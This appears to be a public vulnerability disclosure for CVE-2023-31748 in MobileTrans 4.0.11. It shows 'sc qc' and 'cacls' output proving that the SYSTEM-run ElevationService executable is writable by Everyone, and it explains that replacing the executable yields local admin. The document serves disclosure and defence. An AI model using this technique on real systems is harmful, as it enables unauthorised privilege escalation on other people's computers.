# Exploit Title :MobileTrans  4.0.11 - Weak Service Privilege Escalation
# Date: 20  May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://mobiletrans.wondershare.com/
# Software Link:
https://mega.nz/file/0Et0ybRS#l69LRlvwrwmqDfPGKl_HaJ5LmbeKJu_wH0xYKD8nSVg
# Version: MobileTrans version 4.0.11
# Tested on: Window 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31748



Vulnerability Description:

MobileTrans is World 1 mobile-to-mobile file transfer
application.MobileTrans version 4.0.11 was being suffered a weak service
permission vulnerability that allows a normal window user to elevate to
local admin. The "ElevationService" service name was installed, while the
MobileTrans version 4.0.11 was installed in the window operating system.
The service "ElevationService" allows the local user to elevate to the
local admin as The "ElevationService" run with system privileges.
Effectively, the local user is able to elevate to local admin upon
successfully modifying the service or replacing the affected executable.

C:\Users\HninKayThayar\Desktop>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\HninKayThayar\Desktop>cacls "C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe"
C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
   Everyone:(ID)F
                                                                    NT
AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R